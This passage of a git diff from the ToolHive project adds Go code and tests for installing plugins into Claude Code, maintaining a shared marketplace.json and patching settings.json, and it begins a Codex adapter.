"settings.json") +} + +// claudeMarketplace is the Claude Code marketplace manifest schema +// (.claude-plugin/marketplace.json): a top-level name, owner, and a list of +// plugin entries. See https://code.claude.com/docs/en/plugin-marketplaces. +type claudeMarketplace struct { + Name string `json:"name"` + Owner claudeMarketplaceOwner `json:"owner"` + Plugins []claudeMarketplacePlugin `json:"plugins"` +} + +// claudeMarketplaceOwner identifies the marketplace maintainer. Claude Code +// requires the owner object with a non-empty name. +type claudeMarketplaceOwner struct { + Name string `json:"name"` +} + +// claudeMarketplacePlugin is a single plugin entry. Source is a "./" +// relative path resolved against the marketplace root (the plugins parent dir). +type claudeMarketplacePlugin struct { + Name string `json:"name"` + Source string `json:"source"` +} + +// claudeMarketplaceOwnerName is the owner name recorded in the manifest. +const claudeMarketplaceOwnerName = "ToolHive" + +// claudeMarketplaceFilePath returns the shared marketplace manifest path for a +// marketplace rooted at marketplaceRoot: /.claude-plugin/marketplace.json. +func claudeMarketplaceFilePath(marketplaceRoot string) string { + return filepath.Join(marketplaceRoot, ".claude-plugin", "marketplace.json") +} + +// upsertClaudeMarketplace adds (or updates) the plugin entry in the shared +// marketplace.json at /.claude-plugin/marketplace.json under a +// file lock. The manifest lists every ToolHive plugin with a "./" source +// resolved against marketplaceRoot, so a single "directory" marketplace serves +// all installed plugins regardless of install/uninstall order. +func upsertClaudeMarketplace(marketplaceRoot, pluginName string) error { + marketplaceFile := claudeMarketplaceFilePath(marketplaceRoot) + if err := os.MkdirAll(filepath.Dir(marketplaceFile), 0o700); err != nil { + return fmt.Errorf("creating marketplace dir: %w", err) + } + return fileutils.WithFileLock(marketplaceFile, func() error { + mp, err := readClaudeMarketplace(marketplaceFile) + if err != nil { + return err + } + entry := claudeMarketplacePlugin{Name: pluginName, Source: "./" + pluginName} + replaced := false + for i := range mp.Plugins { + if mp.Plugins[i].Name == pluginName { + mp.Plugins[i] = entry + replaced = true + break + } + } + if !replaced { + mp.Plugins = append(mp.Plugins, entry) + } + sortClaudeMarketplacePlugins(mp.Plugins) + return writeClaudeMarketplace(marketplaceFile, mp) + }) +} + +// removeClaudeMarketplace removes the plugin entry from the shared +// marketplace.json under a file lock. When no plugins remain, the manifest file +// and its (now-empty) .claude-plugin directory are removed. Idempotent: a +// missing file or missing entry is not an error. +func removeClaudeMarketplace(marketplaceRoot, pluginName string) error { + marketplaceFile := claudeMarketplaceFilePath(marketplaceRoot) + if _, err := os.Stat(marketplaceFile); err != nil { + if errors.Is(err, os.ErrNotExist) { + return nil + } + return fmt.Errorf("checking marketplace file: %w", err) + } + return fileutils.WithFileLock(marketplaceFile, func() error { + mp, err := readClaudeMarketplace(marketplaceFile) + if err != nil { + return err + } + filtered := mp.Plugins[:0] + for _, p := range mp.Plugins { + if p.Name != pluginName { + filtered = append(filtered, p) + } + } + mp.Plugins = filtered + if len(mp.Plugins) == 0 { + if err := os.Remove(marketplaceFile); err != nil && !errors.Is(err, os.ErrNotExist) { + return fmt.Errorf("removing marketplace.json: %w", err) + } + // Best-effort removal of the now-empty .claude-plugin directory. + _ = os.Remove(filepath.Dir(marketplaceFile)) + return nil + } + return writeClaudeMarketplace(marketplaceFile, mp) + }) +} + +// readClaudeMarketplace reads and parses the marketplace manifest, returning a +// freshly-initialized manifest (with name/owner set) when the file is missing +// or empty. +func readClaudeMarketplace(path string) (*claudeMarketplace, error) { + mp := &claudeMarketplace{ + Name: marketplaceName, + Owner: claudeMarketplaceOwner{Name: claudeMarketplaceOwnerName}, + } + data, err := os.ReadFile(path) // #nosec G304 -- path is a known tool config file location + if err != nil { + if errors.Is(err, os.ErrNotExist) { + return mp, nil + } + return nil, fmt.Errorf("reading marketplace.json: %w", err) + } + if len(data) == 0 { + return mp, nil + } + if err := json.Unmarshal(data, mp); err != nil { + return nil, fmt.Errorf("parsing marketplace.json: %w", err) + } + // Ensure required identity fields are set even if a hand-edited file omitted + // them, so the rewritten manifest stays schema-valid. + if mp.Name == "" { + mp.Name = marketplaceName + } + if mp.Owner.Name == "" { + mp.Owner.Name = claudeMarketplaceOwnerName + } + return mp, nil +} + +// writeClaudeMarketplace marshals and atomically writes the marketplace manifest. +func writeClaudeMarketplace(path string, mp *claudeMarketplace) error { + data, err := json.MarshalIndent(mp, "", " ") + if err != nil { + return fmt.Errorf("marshaling marketplace.json: %w", err) + } + return fileutils.AtomicWriteFile(path, data, 0o600) +} + +// sortClaudeMarketplacePlugins orders entries by name for a stable manifest. +func sortClaudeMarketplacePlugins(ps []claudeMarketplacePlugin) { + sort.Slice(ps, func(i, j int) bool { return ps[i].Name < ps[j].Name }) +} + +// enablePluginInSettings patches settings.json under a file lock to add: +// - extraKnownMarketplaces.toolhive = {"source": {"source":"directory","path":}} +// - enabledPlugins["@toolhive"] = true +// +// The marketplace source is a "directory" source pointing at the plugins root +// (the directory containing all installed plugins and the shared +// .claude-plugin/marketplace.json), matching the Claude Code settings schema. +// The toolhive marketplace key is shared across every ToolHive-installed plugin, +// so pointing it at the stable root keeps it valid regardless of +// install/uninstall order. +// +// Unrelated keys are preserved. Comments are dropped on write (hujson +// standardize→mutate→re-parse→format), matching the pattern used by +// pkg/client/llm_gateway.go. +func enablePluginInSettings(settingsPath, pluginName, marketplaceRoot string) error { + if err := os.MkdirAll(filepath.Dir(settingsPath), 0o700); err != nil { + return fmt.Errorf("creating settings dir: %w", err) + } + return fileutils.WithFileLock(settingsPath, func() error { + content, err := readOrInitSettings(settingsPath) + if err != nil { + return err + } + root, err := parseSettings(content, settingsPath) + if err != nil { + return err + } + + // extraKnownMarketplaces.toolhive is a "directory" source pointing at the + // plugins root so the shared marketplace key stays valid regardless of + // install/uninstall order across multiple plugins. + marketplaces := ensureObject(root, "extraKnownMarketplaces") + marketplaces[marketplaceName] = map[string]any{ + "source": map[string]any{ + "source": "directory", + "path": marketplaceRoot, + }, + } + + // enabledPlugins["@toolhive"] = true + enabled := ensureObject(root, "enabledPlugins") + enabled[pluginKey(pluginName)] = true + + return writeSettings(root, settingsPath) + }) +} + +// disablePluginInSettings patches settings.json under a file lock to remove: +// - enabledPlugins["@toolhive"] +// - extraKnownMarketplaces.toolhive, when no remaining "@toolhive" entries +// are enabled. +// +// Idempotent: a missing settings file or missing entry is not an error. +func disablePluginInSettings(settingsPath, pluginName string) error { + // Short-circuit when the settings file doesn't exist so we don't fail + // trying to acquire a lock on a non-existent path's parent directory. + if _, err := os.Stat(settingsPath); err != nil { + if errors.Is(err, os.ErrNotExist) { + return nil + } + return fmt.Errorf("checking settings file: %w", err) + } + return fileutils.WithFileLock(settingsPath, func() error { + content, err := os.ReadFile(settingsPath) // #nosec G304 -- path is a known tool config file location + if err != nil { + if errors.Is(err, os.ErrNotExist) { + return nil + } + return fmt.Errorf("reading %s: %w", settingsPath, err) + } + if len(content) == 0 { + return nil + } + root, err := parseSettings(content, settingsPath) + if err != nil { + return err + } + + // Remove the enabledPlugins entry. + if enabled, ok := root["enabledPlugins"].(map[string]any); ok { + delete(enabled, pluginKey(pluginName)) + if len(enabled) == 0 { + delete(root, "enabledPlugins") + } + } + + // Remove the marketplace entry when no remaining @toolhive plugins + // are enabled. + if !hasEnabledToolhivePlugin(root) { + if marketplaces, ok := root["extraKnownMarketplaces"].(map[string]any); ok { + delete(marketplaces, marketplaceName) + if len(marketplaces) == 0 { + delete(root, "extraKnownMarketplaces") + } + } + } + + return writeSettings(root, settingsPath) + }) +} + +// pluginKey returns the enabledPlugins key for a plugin under the toolhive +// marketplace: "@toolhive". +func pluginKey(pluginName string) string { + return pluginName + "@" + marketplaceName +} + +// hasEnabledToolhivePlugin reports whether any enabledPlugins key ends with +// "@toolhive". +func hasEnabledToolhivePlugin(root map[string]any) bool { + enabled, ok := root["enabledPlugins"].(map[string]any) + if !ok { + return false + } + suffix := "@" + marketplaceName + for k := range enabled { + if strings.HasSuffix(k, suffix) { + return true + } + } + return false +} + +// ensureObject returns the object at root[key], creating it as an empty object +// when missing or of the wrong type. +func ensureObject(root map[string]any, key string) map[string]any { + if existing, ok := root[key].(map[string]any); ok { + return existing + } + m := make(map[string]any) + root[key] = m + return m +} + +// readOrInitSettings reads settingsPath, returning {} when missing or empty. +func readOrInitSettings(path string) ([]byte, error) { + data, err := os.ReadFile(path) // #nosec G304 -- path is a known tool config file location + if err != nil { + if errors.Is(err, os.ErrNotExist) { + return []byte("{}"), nil + } + return nil, fmt.Errorf("reading %s: %w", path, err) + } + if len(data) == 0 { + return []byte("{}"), nil + } + return data, nil +} + +// parseSettings parses hujson/JSONC content into a generic map. hujson is used +// so JSONC (comments, trailing commas) input parses correctly; comments are +// dropped by the subsequent marshal/re-parse cycle in writeSettings. +func parseSettings(content []byte, path string) (map[string]any, error) { + standardized, err := hujson.Standardize(content) + if err != nil { + return nil, fmt.Errorf("standardizing %s: %w", path, err) + } + var root map[string]any + if err := json.Unmarshal(standardized, &root); err != nil { + return nil, fmt.Errorf("parsing %s: %w", path, err) + } + if root == nil { + root = make(map[string]any) + } + return root, nil +} + +// writeSettings marshals root to JSON, re-parses with hujson for formatting, +// and atomically writes it to path. +func writeSettings(root map[string]any, path string) error { + data, err := json.Marshal(root) + if err != nil { + return fmt.Errorf("marshaling %s: %w", path, err) + } + v, err := hujson.Parse(data) + if err != nil { + return fmt.Errorf("re-parsing %s: %w", path, err) + } + formatted, err := hujson.Format(v.Pack()) + if err != nil { + return fmt.Errorf("formatting %s: %w", path, err) + } + return fileutils.AtomicWriteFile(path, formatted, 0o600) +} diff --git a/pkg/plugins/adapters/claudecode_test.go b/pkg/plugins/adapters/claudecode_test.go new file mode 100644 index 0000000000..14b8ae27d0 --- /dev/null +++ b/pkg/plugins/adapters/claudecode_test.go @@ -0,0 +1,551 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package adapters + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + ociskills "github.com/stacklok/toolhive-core/oci/skills" + "github.com/stacklok/toolhive/pkg/client" + "github.com/stacklok/toolhive/pkg/plugins" +) + +// makePluginLayer builds a tar.gz layer from the given file entries, suitable +// for passing as MaterializeRequest.LayerData. Mirrors the fixture helper in +// pkg/skills/installer_test.go. +func makePluginLayer(t *testing.T, files []ociskills.FileEntry) []byte { + t.Helper() + data, err := ociskills.CompressTar(files, ociskills.DefaultTarOptions(), ociskills.DefaultGzipOptions()) + require.NoError(t, err) + return data +} + +// newTestClientManager builds a ClientManager whose home directory is tempHome, +// so plugin paths resolve under the test's temp tree. Uses the production +// client integrations (which include ClaudeCode and Codex with full plugin +// metadata) rooted at tempHome — no process-wide HOME mutation, so tests can +// run in parallel. +func newTestClientManager(t *testing.T, tempHome string) *client.ClientManager { + t.Helper() + return client.NewTestClientManagerWithHome(tempHome) +} + +// userSettingsPath returns /.claude/settings.json. +func userSettingsPath(tempHome string) string { + return filepath.Join(tempHome, ".claude", "settings.json") +} + +// readSettings reads and parses the JSON settings file at path. +func readSettings(t *testing.T, path string) map[string]any { + t.Helper() + b, err := os.ReadFile(path) + require.NoError(t, err, "reading %s", path) + var m map[string]any + require.NoError(t, json.Unmarshal(b, &m), "parsing %s", path) + return m +} + +// requireMarketplaceEntry asserts settings.json has extraKnownMarketplaces.toolhive +// with a "directory" source pointing at the plugins parent directory (the +// directory containing pluginDir). Callers pass the per-plugin directory; the +// expected marketplace path is derived as filepath.Dir(pluginDir). +func requireMarketplaceEntry(t *testing.T, settings map[string]any, pluginDir string) { + t.Helper() + marketplaces, ok := settings["extraKnownMarketplaces"].(map[string]any) + require.True(t, ok, "extraKnownMarketplaces present") + tv, ok := marketplaces["toolhive"].(map[string]any) + require.True(t, ok, "toolhive marketplace entry present") + src, ok := tv["source"].(map[string]any) + require.True(t, ok, "marketplace source object present") + assert.Equal(t, "directory", src["source"], "marketplace source type") + assert.Equal(t, filepath.Dir(pluginDir), src["path"], "marketplace source path") +} + +// readClaudeMarketplaceManifest parses the shared marketplace.json at the +// plugins root (/.claude-plugin/marketplace.json). +func readClaudeMarketplaceManifest(t *testing.T, pluginsRoot string) claudeMarketplace { + t.Helper() + path := filepath.Join(pluginsRoot, ".claude-plugin", "marketplace.json") + b, err := os.ReadFile(path) + require.NoError(t, err, "marketplace.json should exist at %s", path) + var mp claudeMarketplace + require.NoError(t, json.Unmarshal(b, &mp)) + return mp +} + +// requireMarketplacePlugin asserts the manifest lists a plugin with the given +// name and a "./" source. +func requireMarketplacePlugin(t *testing.T, mp claudeMarketplace, name string) { + t.Helper() + assert.Equal(t, "toolhive", mp.Name, "marketplace name") + assert.NotEmpty(t, mp.Owner.Name, "marketplace owner name") + for _, p := range mp.Plugins { + if p.Name == name { + assert.Equal(t, "./"+name, p.Source, "plugin source is a relative ./ path") + return + } + } + t.Fatalf("plugin %q not found in marketplace manifest %+v", name, mp.Plugins) +} + +func TestClaudeCodeAdapter_SupportedComponents(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + got := a.SupportedComponents() + assert.Equal(t, []plugins.ComponentType{ + plugins.ComponentCommands, + plugins.ComponentAgents, + plugins.ComponentSkills, + plugins.ComponentHooks, + }, got) +} + +func TestClaudeCodeAdapter_MaterializeWritesFiles(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "commands/greet.md", Content: []byte("# greet"), Mode: 0644}, + {Path: "skills/useful/SKILL.md", Content: []byte("# useful"), Mode: 0644}, + }) + + res, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "my-plugin", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"commands": 1, "skills": 1}, + }) + require.NoError(t, err) + + // Install path is ~/.claude/plugins/my-plugin. + wantDir := filepath.Join(tempHome, ".claude", "plugins", "my-plugin") + assert.Equal(t, wantDir, res.InstallPath) + + _, err = os.Stat(filepath.Join(wantDir, "commands", "greet.md")) + require.NoError(t, err) + _, err = os.Stat(filepath.Join(wantDir, "skills", "useful", "SKILL.md")) + require.NoError(t, err) + assert.False(t, res.ProjectScopeDegraded) + + // The shared marketplace.json at the plugins root must list the plugin with + // a "./" source and the required top-level name/owner fields. + pluginsRoot := filepath.Dir(wantDir) + _, err = os.Stat(filepath.Join(wantDir, ".claude-plugin", "marketplace.json")) + assert.True(t, os.IsNotExist(err), "no per-plugin marketplace.json should exist") + mp := readClaudeMarketplaceManifest(t, pluginsRoot) + requireMarketplacePlugin(t, mp, "my-plugin") + + // settings.json must register the plugin as enabled under toolhive. + settings := readSettings(t, userSettingsPath(tempHome)) + enabled, ok := settings["enabledPlugins"].(map[string]any) + require.True(t, ok, "enabledPlugins present") + assert.Equal(t, true, enabled["my-plugin@toolhive"], "plugin enabled") + requireMarketplaceEntry(t, settings, wantDir) +} + +func TestClaudeCodeAdapter_ExecutableBitPreserved(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + // Layer includes a hook script committed at 0755 — the exec bit must + // survive extraction to disk (not just in the in-memory FileEntry). + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "hooks/preinstall.sh", Content: []byte("#!/bin/sh\necho hi"), Mode: 0755}, + {Path: "commands/greet.md", Content: []byte("# greet"), Mode: 0644}, + }) + + wantDir := filepath.Join(tempHome, ".claude", "plugins", "my-plugin") + _, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "my-plugin", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"hooks": 1, "commands": 1}, + }) + require.NoError(t, err) + + // The hook script must be executable on disk. + info, err := os.Stat(filepath.Join(wantDir, "hooks", "preinstall.sh")) + require.NoError(t, err) + assert.NotZero(t, info.Mode().Perm()&0o100, + "executable bit should be preserved on disk, got mode %o", info.Mode().Perm()) + + // A regular markdown file must NOT be executable. + mdInfo, err := os.Stat(filepath.Join(wantDir, "commands", "greet.md")) + require.NoError(t, err) + assert.Zero(t, mdInfo.Mode().Perm()&0o100, + "non-executable file should not gain exec bit, got mode %o", mdInfo.Mode().Perm()) +} + +func TestClaudeCodeAdapter_DroppedComponents(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + // Declare all six component types; Claude Code drops mcpServers + lspServers. + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "commands/x.md", Content: []byte("x"), Mode: 0644}, + }) + + res, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "drop-test", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{ + "commands": 1, + "agents": 1, + "skills": 1, + "hooks": 1, + "mcpServers": 1, + "lspServers": 1, + }, + }) + require.NoError(t, err) + + // Dropped set is unordered; compare as a set. + got := map[plugins.ComponentType]bool{} + for _, c := range res.DroppedComponents { + got[c] = true + } + assert.Equal(t, map[plugins.ComponentType]bool{ + plugins.ComponentMCP: true, + plugins.ComponentLSP: true, + }, got) +} + +func TestClaudeCodeAdapter_DematerializeRemovesDir(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "commands/greet.md", Content: []byte("# greet"), Mode: 0644}, + }) + + _, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "remove-me", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"commands": 1}, + }) + require.NoError(t, err) + + dir := filepath.Join(tempHome, ".claude", "plugins", "remove-me") + _, err = os.Stat(dir) + require.NoError(t, err) + + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "remove-me", Scope: plugins.ScopeUser})) + + _, err = os.Stat(dir) + assert.True(t, os.IsNotExist(err), "dir should be gone after dematerialize") + + // The shared marketplace.json must be gone once the last plugin is removed. + _, err = os.Stat(filepath.Join(filepath.Dir(dir), ".claude-plugin", "marketplace.json")) + assert.True(t, os.IsNotExist(err), "shared marketplace.json removed when no plugins remain") + + // The enabledPlugins entry for remove-me@toolhive must be gone, and the + // marketplace entry must also be gone (no remaining toolhive plugins). + settings := readSettings(t, userSettingsPath(tempHome)) + if enabled, ok := settings["enabledPlugins"].(map[string]any); ok { + _, present := enabled["remove-me@toolhive"] + assert.False(t, present, "enabledPlugins entry should be removed") + } + _, hasMarketplaces := settings["extraKnownMarketplaces"] + assert.False(t, hasMarketplaces, "marketplace entry should be removed when no toolhive plugins remain") +} + +func TestClaudeCodeAdapter_DematerializeIdempotent(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + // Dematerializing something that was never installed is not an error. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "never-there", Scope: plugins.ScopeUser})) + // A second dematerialize is also fine. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "never-there", Scope: plugins.ScopeUser})) + + // Dematerializing a never-installed plugin must NOT create settings.json. + _, err := os.Stat(userSettingsPath(tempHome)) + assert.True(t, os.IsNotExist(err), "no settings.json should be created by dematerialize") +} + +func TestClaudeCodeAdapter_RematerializeOverwrites(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + dir := filepath.Join(tempHome, ".claude", "plugins", "reinstall") + + first := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "commands/v1.md", Content: []byte("v1"), Mode: 0644}, + }) + _, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "reinstall", + LayerData: first, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"commands": 1}, + }) + require.NoError(t, err) + _, err = os.Stat(filepath.Join(dir, "commands", "v1.md")) + require.NoError(t, err) + + // Re-materialize with different content; force=true must overwrite. + second := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "commands/v2.md", Content: []byte("v2"), Mode: 0644}, + }) + _, err = a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "reinstall", + LayerData: second, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"commands": 1}, + }) + require.NoError(t, err) + + _, err = os.Stat(filepath.Join(dir, "commands", "v2.md")) + require.NoError(t, err, "new file should exist after reinstall") + // v1.md is removed because force overwrites the whole directory. + _, err = os.Stat(filepath.Join(dir, "commands", "v1.md")) + assert.True(t, os.IsNotExist(err), "old file should be gone after forced reinstall") + + // The settings.json entries should not be duplicated. + settings := readSettings(t, userSettingsPath(tempHome)) + enabled, ok := settings["enabledPlugins"].(map[string]any) + require.True(t, ok, "enabledPlugins present") + assert.Equal(t, true, enabled["reinstall@toolhive"]) +} + +func TestClaudeCodeAdapter_ScopeSupport(t *testing.T) { + t.Parallel() + a := &ClaudeCodeAdapter{} + ss := a.ScopeSupport() + assert.False(t, ss.DegradesOnProjectScope) + assert.Empty(t, ss.Reason) +} + +func TestClaudeCodeAdapter_MaterializePreservesUnrelatedSettingsKeys(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + // Seed ~/.claude/settings.json with an unrelated top-level key and an + // unrelated enabled plugin under a different marketplace. + seed := map[string]any{ + "foo": "bar", + "enabledPlugins": map[string]any{ + "other@somewhere": true, + }, + } + require.NoError(t, os.MkdirAll(filepath.Dir(userSettingsPath(tempHome)), 0o700)) + seedData, err := json.Marshal(seed) + require.NoError(t, err) + require.NoError(t, os.WriteFile(userSettingsPath(tempHome), seedData, 0o600)) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "commands/greet.md", Content: []byte("# greet"), Mode: 0644}, + }) + _, err = a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "preserve", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"commands": 1}, + }) + require.NoError(t, err) + + // Unrelated keys must survive materialize. + settings := readSettings(t, userSettingsPath(tempHome)) + assert.Equal(t, "bar", settings["foo"]) + enabled, ok := settings["enabledPlugins"].(map[string]any) + require.True(t, ok, "enabledPlugins present") + assert.Equal(t, true, enabled["other@somewhere"], "unrelated enabled plugin survives") + assert.Equal(t, true, enabled["preserve@toolhive"], "new plugin enabled") + + // Dematerialize and confirm unrelated keys still survive. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "preserve", Scope: plugins.ScopeUser})) + settings = readSettings(t, userSettingsPath(tempHome)) + assert.Equal(t, "bar", settings["foo"]) + enabled, ok = settings["enabledPlugins"].(map[string]any) + require.True(t, ok, "enabledPlugins still present") + assert.Equal(t, true, enabled["other@somewhere"], "unrelated enabled plugin survives dematerialize") + _, present := enabled["preserve@toolhive"] + assert.False(t, present, "toolhive plugin entry removed") +} + +func TestClaudeCodeAdapter_DematerializeRemovesMarketplaceEntryWhenNoToolhivePluginsRemain(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "commands/x.md", Content: []byte("x"), Mode: 0644}, + }) + + // Install two plugins. + _, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "alpha", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"commands": 1}, + }) + require.NoError(t, err) + _, err = a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "beta", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"commands": 1}, + }) + require.NoError(t, err) + + // Remove alpha: marketplace entry stays because beta is still enabled. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "alpha", Scope: plugins.ScopeUser})) + settings := readSettings(t, userSettingsPath(tempHome)) + enabled := settings["enabledPlugins"].(map[string]any) + _, alphaPresent := enabled["alpha@toolhive"] + assert.False(t, alphaPresent, "alpha removed") + assert.Equal(t, true, enabled["beta@toolhive"], "beta still enabled") + _, hasMarketplaces := settings["extraKnownMarketplaces"] + assert.True(t, hasMarketplaces, "marketplace entry stays while beta enabled") + + // Remove beta: marketplace entry is now removed (no toolhive plugins left). + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "beta", Scope: plugins.ScopeUser})) + settings = readSettings(t, userSettingsPath(tempHome)) + _, hasMarketplaces = settings["extraKnownMarketplaces"] + assert.False(t, hasMarketplaces, "marketplace entry removed when no toolhive plugins remain") + _, hasEnabled := settings["enabledPlugins"] + assert.False(t, hasEnabled, "enabledPlugins removed when empty") +} + +func TestClaudeCodeAdapter_NonLifoUninstallKeepsMarketplacePathValid(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "commands/greet.md", Content: []byte("# greet"), Mode: 0644}, + }) + + pluginsDir := filepath.Join(tempHome, ".claude", "plugins") + + // Install alpha, then beta (same user scope). + _, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "alpha", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"commands": 1}, + }) + require.NoError(t, err) + _, err = a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "beta", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"commands": 1}, + }) + require.NoError(t, err) + + alphaDir := filepath.Join(pluginsDir, "alpha") + betaDir := filepath.Join(pluginsDir, "beta") + require.DirExists(t, alphaDir) + require.DirExists(t, betaDir) + + // Non-LIFO: beta was installed second but removed first. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "beta", Scope: plugins.ScopeUser})) + + // The shared manifest must still list alpha (with its ./alpha source) and no + // longer list beta. + mp := readClaudeMarketplaceManifest(t, pluginsDir) + requireMarketplacePlugin(t, mp, "alpha") + for _, p := range mp.Plugins { + assert.NotEqual(t, "beta", p.Name, "beta removed from manifest") + } + + settings := readSettings(t, userSettingsPath(tempHome)) + + // alpha@toolhive must still be enabled. + enabled := settings["enabledPlugins"].(map[string]any) + assert.Equal(t, true, enabled["alpha@toolhive"], "alpha still enabled after non-LIFO uninstall of beta") + + // The toolhive marketplace entry must still exist because alpha is enabled, + // and its path must point at the plugins parent directory, which still + // exists on disk (not at beta's now-deleted directory). + requireMarketplaceEntry(t, settings, alphaDir) + + marketplaces := settings["extraKnownMarketplaces"].(map[string]any) + tv := marketplaces["toolhive"].(map[string]any) + src := tv["source"].(map[string]any) + mpPath, _ := src["path"].(string) + assert.Equal(t, pluginsDir, mpPath, "marketplace path is the plugins parent dir") + _, err = os.Stat(mpPath) + assert.NoError(t, err, "marketplace path directory still exists on disk") + + // beta's directory is gone, alpha's remains. + assert.NoDirExists(t, betaDir, "beta directory removed") + assert.DirExists(t, alphaDir, "alpha directory still present") +} + +func TestClaudeCodeAdapter_ProjectScopeUsesProjectSettings(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + projectRoot := t.TempDir() + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "commands/greet.md", Content: []byte("# greet"), Mode: 0644}, + }) + + res, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "proj-plugin", + LayerData: layer, + Scope: plugins.ScopeProject, + ProjectRoot: projectRoot, + Components: plugins.ComponentInventory{"commands": 1}, + }) + require.NoError(t, err) + + wantDir := filepath.Join(projectRoot, ".claude", "plugins", "proj-plugin") + assert.Equal(t, wantDir, res.InstallPath) + + // The settings file written must be the project one, not the user one. + projectSettings := filepath.Join(projectRoot, ".claude", "settings.json") + _, err = os.Stat(projectSettings) + require.NoError(t, err, "project settings.json must exist") + _, err = os.Stat(userSettingsPath(tempHome)) + assert.True(t, os.IsNotExist(err), "user settings.json must not be created for project scope") + + settings := readSettings(t, projectSettings) + enabled := settings["enabledPlugins"].(map[string]any) + assert.Equal(t, true, enabled["proj-plugin@toolhive"]) + requireMarketplaceEntry(t, settings, wantDir) + + // Dematerialize reverts the project settings. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{ + Name: "proj-plugin", + Scope: plugins.ScopeProject, + ProjectRoot: projectRoot, + })) + settings = readSettings(t, projectSettings) + _, hasMarketplaces := settings["extraKnownMarketplaces"] + assert.False(t, hasMarketplaces, "project marketplace entry removed") + _, hasEnabled := settings["enabledPlugins"] + assert.False(t, hasEnabled, "project enabledPlugins removed when empty") +} diff --git a/pkg/plugins/adapters/codex.go b/pkg/plugins/adapters/codex.go new file mode 100644 index 0000000000..b6bf09b6bd --- /dev/null +++ b/pkg/plugins/adapters/codex.go @@ -0,0 +1,301 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package adapters + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "os" + "path/filepath" + "sort" + + "github.com/stacklok/toolhive/pkg/client" + "github.com/stacklok/toolhive/pkg/fileutils" + "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/skills" +) + +// CodexAdapter materializes plugins for the OpenAI Codex CLI. +// +// Codex discovers marketplaces at a fixed set of paths, including the personal +// ~/.agents/plugins/marketplace.json and the per-repo +// 